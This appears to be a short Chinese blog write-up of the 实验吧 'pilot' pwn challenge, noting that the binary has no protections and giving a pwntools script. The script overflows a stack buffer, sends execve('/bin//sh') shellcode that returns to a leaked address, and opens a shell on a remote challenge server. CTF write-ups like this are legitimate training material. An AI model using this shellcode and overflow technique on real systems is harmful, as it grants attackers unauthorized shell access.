实验吧 PWN pilot

  • 首先检测程序开启的保护
    实验吧 PWN pilot_第1张图片
    程序没有开启任何保护,且有可读、可写、可执行段。
  • 使用ida看一下伪代码,找到溢出点
    实验吧 PWN pilot_第2张图片
#!/usr/bin/env python
from pwn import *

sh = remote('106.2.25.7',8003)
sh.recvuntil('Location:')
buf_addr = int(sh.recvuntil('\n')[:-1], 16)
sh.recvuntil('Command:')
shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
payload = shellcode + (40 - len(shellcode)) * 'A' + p64(buf_addr)
sh.sendline(payload)
sh.interactive()

疑问

  • 为什么每次Location输出的地址是变化的,buf的地址到底是什么?
  • shellcode怎么构造?

你可能感兴趣的:(CTF)